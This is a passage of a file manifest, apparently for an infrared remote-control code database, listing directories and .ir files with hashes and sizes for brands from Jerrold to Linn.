-F:aff9eb0f1f6da0aa06126ff64327ded5:2412:infrared/_CSV-IRDB_/Jerrold/Unknown_MRC/-1,-1.ir -F:99ea0dd7d9adfe326939f79036387ba8:2329:infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD/0,-1.ir -D:infrared/_CSV-IRDB_/KAWA/Unknown_TV -F:657f7b7b78dedb2a31e1c5ef4b4c8eed:2926:infrared/_CSV-IRDB_/KAWA/Unknown_TV/11,11.ir -D:infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081 -F:b104c11ccfd7614e95b17cfb46ef7b8b:1030:infrared/_CSV-IRDB_/KENMORE/Unknown_253-79081/8,245.ir -D:infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher -D:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher -D:infrared/_CSV-IRDB_/KEY DIGITAL/Switcher -D:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher -F:b49c50bd3d23c0591d13c306dcabab9f:2364:infrared/_CSV-IRDB_/KEY DIGITAL/Component Switcher/130,19.ir -F:cdcb8696822b02c425644abc0279b07c:9057:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/130,19.ir -F:d274170b00e27cc66fbc3ff78f3722b2:2686:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/132,-1.ir -F:4dda40d17a629f99b51cdd7ff8392493:123:infrared/_CSV-IRDB_/KEY DIGITAL/Matrix Switcher/27,-1.ir -F:0737cddf549bd7c6350f3c2d3b67f7f0:775:infrared/_CSV-IRDB_/KEY DIGITAL/Switcher/130,19.ir -F:48292ee5276b4176e9ae113ed70556d5:365:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/130,19.ir -F:d274170b00e27cc66fbc3ff78f3722b2:2686:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/132,-1.ir -F:4dda40d17a629f99b51cdd7ff8392493:123:infrared/_CSV-IRDB_/KEY DIGITAL/Video Switcher/27,-1.ir -D:infrared/_CSV-IRDB_/Kaleidescape/DVD Player -D:infrared/_CSV-IRDB_/Kaleidescape/Distributed -F:d0d2a76a31009f34a123e65ac27387d1:6742:infrared/_CSV-IRDB_/Kaleidescape/DVD Player/69,-1.ir -F:cf7bc12590a582b56d2ca58f76f5af49:5588:infrared/_CSV-IRDB_/Kaleidescape/Distributed/69,-1.ir -D:infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO -D:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO -D:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO -F:a5dd8d18558e8f8ba0118dc30f6366a6:3402:infrared/_CSV-IRDB_/Kaon/Unknown_KSC-i260MCO/32,8.ir -F:e69c36f4bdc9406fc06b2e03ad1f53a8:2695:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-100CO/32,8.ir -F:84ace4ee9bef6e9585dbc725591385fd:3135:infrared/_CSV-IRDB_/Kaon/Unknown_KTF-I2001CO/32,8.ir -D:infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver -D:infrared/_CSV-IRDB_/Kathrein/Satellite -D:infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400 -F:7099ea9464e82321f0031b44f33b3cb7:6524:infrared/_CSV-IRDB_/Kathrein/DVBS-Receiver/34,144.ir -F:81f76734f3d4d049150d79286484aa8a:2292:infrared/_CSV-IRDB_/Kathrein/Satellite/0,-1.ir -F:7283cbfb849e38a06e2a33c7b759d28d:3155:infrared/_CSV-IRDB_/Kathrein/Satellite/34,144.ir -F:0909a47abccd076baf46b62eaf26fd0b:2289:infrared/_CSV-IRDB_/Kathrein/Unknown_KathreinUFD400/0,-1.ir -D:infrared/_CSV-IRDB_/Kensington/MP3 Player -D:infrared/_CSV-IRDB_/Kensington/iPod Dock -F:b677f15413d671d29a379aabbd38152a:482:infrared/_CSV-IRDB_/Kensington/MP3 Player/51,170.ir -F:8a63d83a386d625308093599c946851b:937:infrared/_CSV-IRDB_/Kensington/iPod Dock/51,170.ir -D:infrared/_CSV-IRDB_/Kenwood/Amplifier -D:infrared/_CSV-IRDB_/Kenwood/CD Changer -D:infrared/_CSV-IRDB_/Kenwood/CD Player -D:infrared/_CSV-IRDB_/Kenwood/Cassette Tape -D:infrared/_CSV-IRDB_/Kenwood/DVD Changer -D:infrared/_CSV-IRDB_/Kenwood/DVD Player -D:infrared/_CSV-IRDB_/Kenwood/Laser Disc -D:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier -D:infrared/_CSV-IRDB_/Kenwood/Receiver -D:infrared/_CSV-IRDB_/Kenwood/Satellite Radio -D:infrared/_CSV-IRDB_/Kenwood/Sirius -D:infrared/_CSV-IRDB_/Kenwood/Tuner -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E -D:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800 -D:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87 -D:infrared/_CSV-IRDB_/Kenwood/VCR -F:25deb4fa0e8952fc983cfeb2cafa4fee:1735:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,0.ir -F:86a521c6d7cfe938b5c64d4a083817ac:677:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,1.ir -F:dd25b127269e51be47e3505eac00f106:975:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,2.ir -F:6c4601a79237bfe4dfbb45af101ed40d:122:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,4.ir -F:a17862c7b9f920b122f2b78634db5bfa:798:infrared/_CSV-IRDB_/Kenwood/Amplifier/184,7.ir -F:b269625e29e2b31e0f683b3c679833f2:1937:infrared/_CSV-IRDB_/Kenwood/CD Changer/182,-1.ir -F:3ca1ea2588f0a6ede7e750abed644aca:122:infrared/_CSV-IRDB_/Kenwood/CD Changer/182,72.ir -F:ea35044f955dbb7b1ef3decbd087c90f:728:infrared/_CSV-IRDB_/Kenwood/CD Changer/184,-1.ir -F:77ddde8649399f08e7417936600e5729:9217:infrared/_CSV-IRDB_/Kenwood/CD Player/182,-1.ir -F:47d6c9dc1ff8b632019e63a0bb1b2a4a:5885:infrared/_CSV-IRDB_/Kenwood/CD Player/182,0.ir -F:e59e5753fc33ff730c1a7a57dd8e173b:469:infrared/_CSV-IRDB_/Kenwood/CD Player/184,-1.ir -F:7786cab371f572452ff1349808c388e0:2133:infrared/_CSV-IRDB_/Kenwood/Cassette Tape/184,-1.ir -F:220cd224f48379a0c99f459aa5b8d31e:3157:infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,0.ir -F:b4cf9db5e2afeb0ca3568485d9eed0a1:14304:infrared/_CSV-IRDB_/Kenwood/DVD Changer/182,12.ir -F:220cd224f48379a0c99f459aa5b8d31e:3157:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,0.ir -F:018f53427b9a0abcd53264cf11a1dc98:14650:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,12.ir -F:89ea26d53217997f8099a811573a1a60:3434:infrared/_CSV-IRDB_/Kenwood/DVD Player/182,88.ir -F:ba7b3cc81e60fa46b9aaaa433bddb674:122:infrared/_CSV-IRDB_/Kenwood/DVD Player/184,0.ir -F:34f908187b2329d015da44b12c2226ce:4407:infrared/_CSV-IRDB_/Kenwood/Laser Disc/182,75.ir -F:418f204da108ddca27359391bf2a40b8:487:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/182,75.ir -F:59949073ae5c059947c1af9f6d75ee17:7956:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,-1.ir -F:8118bb8ef0cfee3fd9cb124c85c4c36e:1552:infrared/_CSV-IRDB_/Kenwood/Pre-Amplifier/184,1.ir -F:32bc6424fdf54e4a4b7cf0df05284651:3527:infrared/_CSV-IRDB_/Kenwood/Receiver/1,-1.ir -F:44cf1fdacc3988df1f5b6858c3e194fb:1851:infrared/_CSV-IRDB_/Kenwood/Receiver/12,-1.ir -F:d2809d9fa886aadd63844379e10bdde8:1869:infrared/_CSV-IRDB_/Kenwood/Receiver/182,75.ir -F:abcc89ea4be54a53792ea997dec2e86f:27224:infrared/_CSV-IRDB_/Kenwood/Receiver/184,-1.ir -F:e1311da30613e8ebc63c11ddbd2e3798:8364:infrared/_CSV-IRDB_/Kenwood/Receiver/184,0.ir -F:83802e9d144e1070ec81b2324db56335:5458:infrared/_CSV-IRDB_/Kenwood/Receiver/184,1.ir -F:f503fc0f504091646bed216845c68a12:2603:infrared/_CSV-IRDB_/Kenwood/Receiver/184,2.ir -F:ffd8546315b93d3eb44c7129b6680d6c:3413:infrared/_CSV-IRDB_/Kenwood/Receiver/184,3.ir -F:76ee3264b93411d280aa692955bcd9b0:1668:infrared/_CSV-IRDB_/Kenwood/Receiver/184,4.ir -F:56e65e5878dde17dd23b7c97c53818e9:377:infrared/_CSV-IRDB_/Kenwood/Receiver/184,5.ir -F:b2435ea199676f6ef24c979cea0ac1c8:1572:infrared/_CSV-IRDB_/Kenwood/Receiver/184,6.ir -F:c3310e61a5d3c36d68f778416b39be63:1251:infrared/_CSV-IRDB_/Kenwood/Receiver/184,7.ir -F:46384241af67a77dd298332f037c61b8:2002:infrared/_CSV-IRDB_/Kenwood/Receiver/25,-1.ir -F:891e25ac6f858f1d3cbf7ddb4d7dfc47:1976:infrared/_CSV-IRDB_/Kenwood/Receiver/4,-1.ir -F:657efe79e08f52cd7d04369658e273d6:3696:infrared/_CSV-IRDB_/Kenwood/Receiver/40,-1.ir -F:df2ae7cc8a56c8084422743444ed9267:4085:infrared/_CSV-IRDB_/Kenwood/Satellite Radio/2,255.ir -F:080203a8b1a80e18e6647b9bc12dd56c:2523:infrared/_CSV-IRDB_/Kenwood/Sirius/2,255.ir -F:418f204da108ddca27359391bf2a40b8:487:infrared/_CSV-IRDB_/Kenwood/Tuner/182,75.ir -F:9ff0b791c2d1528b0dd269dee71496a5:6974:infrared/_CSV-IRDB_/Kenwood/Tuner/184,-1.ir -F:2f10b6ed5075841214ef569dd5e6a9e6:971:infrared/_CSV-IRDB_/Kenwood/Tuner/184,1.ir -F:f1c0af300164a6336fd1d63f4d7b5c4b:4653:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-160/184,-1.ir -F:22f82b0f57718ddb083e4f0cd28acb35:2892:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-A0400/184,-1.ir -F:21fb9e7fea2de564d0ca86d4f51c2784:3410:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-D0705.conf/182,12.ir -F:607058f0ba5a1d329fc89482b8c6af96:2799:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0301/182,4.ir -F:2f0be00e77b0fed55117dd8fba5c534d:3270:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-M0701/182,4.ir -F:6b66fbd47f59ddd6b2686649cc2b6c21:2508:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P030/182,-1.ir -F:c9189501a09596c2c1a2c304ee61fad9:2156:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0400/182,-1.ir -F:b4ce82863da4f4db06e60740bd271805:4282:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P070/182,-1.ir -F:babf6f6700b153795682f57c3fdaaa47:2809:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0702/182,-1.ir -F:72f1a85d3b87de359246acf66c7a5c31:2335:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P0715/182,-1.ir -F:11af3ccf6d66578dc5212e4b3b69d3a2:2160:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P2030/182,-1.ir -F:52752bbffc7fd39b1570b44bbd359a3a:1788:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-P600/182,-1.ir -F:b80d618279bf06c7bf5d6552084a846b:4198:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-R0311E/44,44.ir -F:4c4233f205c16292d002d2e18940399c:2564:infrared/_CSV-IRDB_/Kenwood/Unknown_RC-RO503/184,-1.ir -F:17bc292f61cc05133095a64eb72e5a13:847:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p800/182,-1.ir -F:406dc352744dcfe34b0130eeb2a385f1:1436:infrared/_CSV-IRDB_/Kenwood/Unknown_rc-p87/182,-1.ir -F:99e875ccaaaad983acad9591986d21b4:3466:infrared/_CSV-IRDB_/Kenwood/VCR/184,-1.ir -F:dfc95bf6450c352bccb2b85436fd4c2e:493:infrared/_CSV-IRDB_/Kenwood/VCR/184,1.ir -D:infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000 -F:8bf6ce5713d1c5b20a04630e18651d7e:2223:infrared/_CSV-IRDB_/Khl/Unknown_REC-R3000/65,-1.ir -D:infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier -D:infrared/_CSV-IRDB_/Kinergetics Research/Receiver -D:infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor -F:6c6bed8bd9472bc648bacf53d7596084:2857:infrared/_CSV-IRDB_/Kinergetics Research/Pre-Amplifier/28,-1.ir -F:b708e8288d53c91918c0cf2bf9242377:2375:infrared/_CSV-IRDB_/Kinergetics Research/Receiver/0,-1.ir -F:cdaa12b2aa46d2345cf582a63b8469c8:1059:infrared/_CSV-IRDB_/Kinergetics Research/Surround Processor/7,-1.ir -D:infrared/_CSV-IRDB_/Kingbox/h265 -F:fdecc63831c77b26c59311ee1c0963e0:3322:infrared/_CSV-IRDB_/Kingbox/h265/1,254.ir -D:infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s -F:f5164ac8c59b0eed1ae4b5b1c008d091:3404:infrared/_CSV-IRDB_/Kiss/Unknown_DP-1500s/25,-1.ir -D:infrared/_CSV-IRDB_/Klipsch/Subwoofer -F:196e9148e71d0734a25b47a95f1be2d9:1853:infrared/_CSV-IRDB_/Klipsch/Subwoofer/17,81.ir -D:infrared/_CSV-IRDB_/Knoll/Video Projector -F:f38342c4bd6d52e2216a25e942ecaf02:1813:infrared/_CSV-IRDB_/Knoll/Video Projector/24,233.ir -D:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199 -D:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A -F:2670274733595b965705af54fa44dbb9:2157:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y199/25,1.ir -F:2f5868d5ff2ac9e89999ede1560d2280:2245:infrared/_CSV-IRDB_/Konka/Unknown_KK-Y250A/25,1.ir -D:infrared/_CSV-IRDB_/Krell/CD Player -D:infrared/_CSV-IRDB_/Krell/DVD Player -D:infrared/_CSV-IRDB_/Krell/Pre-Amplifier -D:infrared/_CSV-IRDB_/Krell/Receiver -D:infrared/_CSV-IRDB_/Krell/Surround Processor -F:76e733e84b2fd4222f5ef64d3cc2ab25:613:infrared/_CSV-IRDB_/Krell/CD Player/16,-1.ir -F:e9f137c8c6b8161913bc318d07b92155:119:infrared/_CSV-IRDB_/Krell/CD Player/20,-1.ir -F:3c00297c8ea045d02aa3dbc94f0431fe:7104:infrared/_CSV-IRDB_/Krell/DVD Player/27,-1.ir -F:71047c6aa4126b1aabaf26b3e1f349b6:1742:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/16,-1.ir -F:05a31862d9ef06dac35820fed94f03da:2102:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/25,-1.ir -F:06ccaa26402ded904285a0c9c958aa86:1507:infrared/_CSV-IRDB_/Krell/Pre-Amplifier/28,-1.ir -F:89d277bb9d204d8e69d02127d5b3ba49:121:infrared/_CSV-IRDB_/Krell/Receiver/28,-1.ir -F:e488f337195775b88bafa6c3947c6e33:130:infrared/_CSV-IRDB_/Krell/Receiver/31,-1.ir -F:149651835723229c0bbde37c91616eb2:297:infrared/_CSV-IRDB_/Krell/Surround Processor/16,-1.ir -F:2291242e872ce12800775b26ecb93cb9:1389:infrared/_CSV-IRDB_/Krell/Surround Processor/25,-1.ir -F:5ac5011b560606c3f219b88a2298bdf9:3209:infrared/_CSV-IRDB_/Krell/Surround Processor/28,-1.ir -F:e488f337195775b88bafa6c3947c6e33:130:infrared/_CSV-IRDB_/Krell/Surround Processor/31,-1.ir -D:infrared/_CSV-IRDB_/Kworld/Unknown_ATSC -D:infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T -D:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220 -D:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310 -D:infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV -F:77cea1262ca550dc1f3a83451e2e6341:4039:infrared/_CSV-IRDB_/Kworld/Unknown_ATSC/0,251.ir -F:1818ea932849efbed6c6494621ab3a58:6351:infrared/_CSV-IRDB_/Kworld/Unknown_DVB-T/134,107.ir -F:afb23fdd1d6ab6e2681a2d2296f012e7:3668:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-220/0,251.ir -F:afb23fdd1d6ab6e2681a2d2296f012e7:3668:infrared/_CSV-IRDB_/Kworld/Unknown_KWorld-DVBT-PE310/0,251.ir -F:c2c5c0048cac24a3e98b79adec1e7cf4:3946:infrared/_CSV-IRDB_/Kworld/Unknown_VS-PRV-TV/134,107.ir -D:infrared/_CSV-IRDB_/Kyocera/CD Player -F:9d043edd7ddc18243f27092c5f4f2da6:1085:infrared/_CSV-IRDB_/Kyocera/CD Player/119,-1.ir -D:infrared/_CSV-IRDB_/L+S/Unknown_30755 -D:infrared/_CSV-IRDB_/L+S/Unknown_LS -F:cec2a8ff7c5359e9f3d6f6291a00d596:3151:infrared/_CSV-IRDB_/L+S/Unknown_30755/5,-1.ir -F:352635ed54ce7d18334189cf284fbaa3:1291:infrared/_CSV-IRDB_/L+S/Unknown_LS/164,164.ir -D:infrared/_CSV-IRDB_/LEMON/Unknown_LEMON -F:8720e4760b116a64bc7c468bfcc91a9f:2924:infrared/_CSV-IRDB_/LEMON/Unknown_LEMON/7,-1.ir -D:infrared/_CSV-IRDB_/LG/Blu-Ray -D:infrared/_CSV-IRDB_/LG/DVD Player -D:infrared/_CSV-IRDB_/LG/DVR -D:infrared/_CSV-IRDB_/LG/HDTV Tuner -D:infrared/_CSV-IRDB_/LG/Plasma -D:infrared/_CSV-IRDB_/LG/Satellite -D:infrared/_CSV-IRDB_/LG/Sound Bar -D:infrared/_CSV-IRDB_/LG/TV -D:infrared/_CSV-IRDB_/LG/Unknown_42H3000 -D:infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B -D:infrared/_CSV-IRDB_/LG/Unknown_6710T00009B -D:infrared/_CSV-IRDB_/LG/Unknown_6710V00067G -D:infrared/_CSV-IRDB_/LG/Unknown_6710V00070A -D:infrared/_CSV-IRDB_/LG/Unknown_6710V00090D -D:infrared/_CSV-IRDB_/LG/Unknown_6710V00090N -D:infrared/_CSV-IRDB_/LG/Unknown_6710V00091N -D:infrared/_CSV-IRDB_/LG/Unknown_6710V00133A -D:infrared/_CSV-IRDB_/LG/Unknown_AKB69680403 -D:infrared/_CSV-IRDB_/LG/Unknown_AKB72915207 -D:infrared/_CSV-IRDB_/LG/Unknown_AKB73715601 -D:infrared/_CSV-IRDB_/LG/Unknown_BC205P -D:infrared/_CSV-IRDB_/LG/Unknown_BD300 -D:infrared/_CSV-IRDB_/LG/Unknown_CC470TW -D:infrared/_CSV-IRDB_/LG/Unknown_LG -D:infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403 -D:infrared/_CSV-IRDB_/LG/Unknown_LG-EV230 -D:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G -D:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K -D:infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807 -D:infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704 -D:infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A -F:06003329ba625f018072ef34b9df3f37:8004:infrared/_CSV-IRDB_/LG/Blu-Ray/45,45.ir -F:42708bbce4af9b0a6d26a1f94dc1bc5d:216:infrared/_CSV-IRDB_/LG/DVD Player/16,16.ir -F:fe4e42d4882d06d0c046e12f0d087002:123:infrared/_CSV-IRDB_/LG/DVD Player/44,44.ir -F:39b4da8de8aa0169456e1877f43656d2:7710:infrared/_CSV-IRDB_/LG/DVD Player/45,45.ir -F:9f2ff1ff3edcacae6594b23a3272767b:4530:infrared/_CSV-IRDB_/LG/DVR/45,45.ir -F:faf0b6fe3593d338dc645be1adff0459:1358:infrared/_CSV-IRDB_/LG/HDTV Tuner/247,-1.ir -F:85eb136d2f444c62a9cb3a3add2d64b9:208:infrared/_CSV-IRDB_/LG/Plasma/1,1.ir -F:c8fca0048a89b0c4ee206ed16d2c0904:8260:infrared/_CSV-IRDB_/LG/Plasma/4,-1.ir -F:055a14512d76e4b976a69060e0e0af1b:2630:infrared/_CSV-IRDB_/LG/Satellite/247,-1.ir -F:f75f28476326eec329fb2b8c6373f4ac:2670:infrared/_CSV-IRDB_/LG/Sound Bar/44,44.ir -F:85eb136d2f444c62a9cb3a3add2d64b9:208:infrared/_CSV-IRDB_/LG/TV/1,1.ir -F:3d78078d4c8a25bb145124c13020c3e2:25809:infrared/_CSV-IRDB_/LG/TV/4,-1.ir -F:0f200690e5eab2a4c626ed8e2ce250c4:3668:infrared/_CSV-IRDB_/LG/Unknown_42H3000/4,-1.ir -F:47d4182d2d3be63737566d84a1cef30e:4491:infrared/_CSV-IRDB_/LG/Unknown_6710CDAP01B/44,44.ir -F:bedd7c15d3833664b3e0172022703630:3645:infrared/_CSV-IRDB_/LG/Unknown_6710T00009B/4,-1.ir -F:1ef6f6dad51621f81c2ff22a40c0189f:3497:infrared/_CSV-IRDB_/LG/Unknown_6710V00067G/0,-1.ir -F:2ec7f509555302fb25b466bb55a648ea:3026:infrared/_CSV-IRDB_/LG/Unknown_6710V00070A/0,-1.ir -F:2b7d7c8ec7254931a9d42c70b277f71c:2302:infrared/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir -F:ea8e8393ed0e8fb1dcfca68e6a0330a4:2583:infrared/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir -F:8a5433a1bdac5e2b79ce0bb0e6008ff3:2568:infrared/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir -F:ec404516807ff2a8141a527ed7316956:1185:infrared/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir -F:c877c0f5860e7e184822f4c8da36fe1d:3679:infrared/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir -F:0326b1a56e39e8d670fcb32c2523a806:4288:infrared/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir -F:912586000eb8b36cb3eb49157ddfba5e:4320:infrared/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir -F:51d35250ebfb73be2cee8de17ae7a2ba:2850:infrared/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir -F:250217c29ea1dc8de0ab6c76dfa28a69:4496:infrared/_CSV-IRDB_/LG/Unknown_BD300/45,45.ir -F:9bf4f933211a93a2928eef951e7fe8a9:2854:infrared/_CSV-IRDB_/LG/Unknown_CC470TW/110,-1.ir -F:d562ff63fd65c132edae9c52b991b389:1206:infrared/_CSV-IRDB_/LG/Unknown_LG/110,-1.ir -F:c99fb62ac6d75d7da2928a0bac708cb7:3667:infrared/_CSV-IRDB_/LG/Unknown_LG-AKB69680403/4,-1.ir -F:0d792645307114cee5adb46a265503df:2503:infrared/_CSV-IRDB_/LG/Unknown_LG-EV230/110,-1.ir -F:d455d52701150ebfed81f383be5ba2b1:3230:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00005G/110,-1.ir -F:0557789d3bb7342439692e6bb5575e25:2514:infrared/_CSV-IRDB_/LG/Unknown_LG.6710V00008K/4,-1.ir -F:2aa448ff200505e65bb0b2eb0785674c:3856:infrared/_CSV-IRDB_/LG/Unknown_MKJ40653807/4,-1.ir -F:aff0ba091843c675d5b217c1d4a0c648:3830:infrared/_CSV-IRDB_/LG/Unknown_MKJ61842704/4,-1.ir -F:de400d0ad56eecefa77b5e5c46228400:3280:infrared/_CSV-IRDB_/LG/Unknown_PBAFA0189A/110,-1.ir -D:infrared/_CSV-IRDB_/LP Morgan/Screen -F:81220611a407ddb4acbbb77d4b5fec12:582:infrared/_CSV-IRDB_/LP Morgan/Screen/0,-1.ir -D:infrared/_CSV-IRDB_/LXI/TV -F:dae9efcf32c1e28224035b8c6aad1df1:2659:infrared/_CSV-IRDB_/LXI/TV/4,-1.ir -D:infrared/_CSV-IRDB_/Lacie/Unknown_Lacie -D:infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS -F:5b9fa2505ea063c1eee252bb7ca1f4a7:3943:infrared/_CSV-IRDB_/Lacie/Unknown_Lacie/64,64.ir -F:9428cad726461fbede4377acc6b253e2:1577:infrared/_CSV-IRDB_/Lacie/Unknown_PNE-N1SS/0,127.ir -D:infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000 -F:f2fdc42b133eb84d63160eed9b96db0a:4138:infrared/_CSV-IRDB_/Lasonic/Unknown_LasonicR2000/16,-1.ir -D:infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007 -D:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046 -D:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052 -D:infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004 -F:9846172df7f8ed708e6d7034c5369a83:2866:infrared/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir -F:1e26bc0ea0f87ecf8b984118cc6d434d:3657:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir -F:6df40163a3f045185d554a7dc66c2e1e:4997:infrared/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir -F:83656952111dea58783d4f6fa24061b5:4385:infrared/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir -D:infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC -F:375bb19d4d3902201e220c4264832ad7:4391:infrared/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir -D:infrared/_CSV-IRDB_/Lenovo/Unknown_Y530 -F:2b56a5686ef8efc4559691d4d8363ddf:2388:infrared/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir -D:infrared/_CSV-IRDB_/Lexicon/DVD Player -D:infrared/_CSV-IRDB_/Lexicon/Receiver -D:infrared/_CSV-IRDB_/Lexicon/Surround Processor -F:9d21909101a8775fc7d4f6284e597b9d:2598:infrared/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir -F:29a233bd2e9997c668a69198b9de93a8:3355:infrared/_CSV-IRDB_/Lexicon/Receiver/130,11.ir -F:30c0475fe0be670fb29da746a4cffc25:25119:infrared/_CSV-IRDB_/Lexicon/Surround Processor/130,11.ir -F:ad3dbcb3efc8c69b5482bd41978ff74e:12033:infrared/_CSV-IRDB_/Lexicon/Surround Processor/133,2.ir -F:48fdde2e89947e4ab529c856471ef154:7086:infrared/_CSV-IRDB_/Lexicon/Surround Processor/28,-1.ir -D:infrared/_CSV-IRDB_/Life-view/Unknown_3000 -D:infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo -F:996d89c576561e3a4fdfec387cdd79b2:2168:infrared/_CSV-IRDB_/Life-view/Unknown_3000/96,1.ir -F:23bca18ca47e6e567ac83e6e50ff03a6:3577:infrared/_CSV-IRDB_/Life-view/Unknown_flyvideo/96,1.ir -D:infrared/_CSV-IRDB_/Lifesat/Unknown_28 -F:e5d82ee32509ce18bc9f38af0c09684b:1960:infrared/_CSV-IRDB_/Lifesat/Unknown_28/128,38.ir -D:infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096 -D:infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000 -D:infrared/_CSV-IRDB_/Lifetec/Unknown_remote -F:74470e6499cdb28bfc2841c5d31981ab:2985:infrared/_CSV-IRDB_/Lifetec/Unknown_LT9096/128,123.ir -F:2817b5f4714ba94c7931f8a9b5662533:2761:infrared/_CSV-IRDB_/Lifetec/Unknown_RC2000/5,-1.ir -F:faa2b2085da6f071b3482b198c886154:769:infrared/_CSV-IRDB_/Lifetec/Unknown_remote/164,164.ir -D:infrared/_CSV-IRDB_/Lightolier/Lighting Controller -F:e34c249f459eb18d8d059b045716d2c7:473:infrared/_CSV-IRDB_/Lightolier/Lighting Controller/0,-1.ir -D:infrared/_CSV-IRDB_/Linksys/Media Adapter -D:infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R -F:afa36d7ae087bb5b3e9a3904668aff30:127:infrared/_CSV-IRDB_/Linksys/Media Adapter/134,107.ir -F:9049ca3ef6bd3f369b373721002420f4:2026:infrared/_CSV-IRDB_/Linksys/Unknown_WMA11B-R/134,107.ir -D:infrared/_CSV-IRDB_/Linn/CD 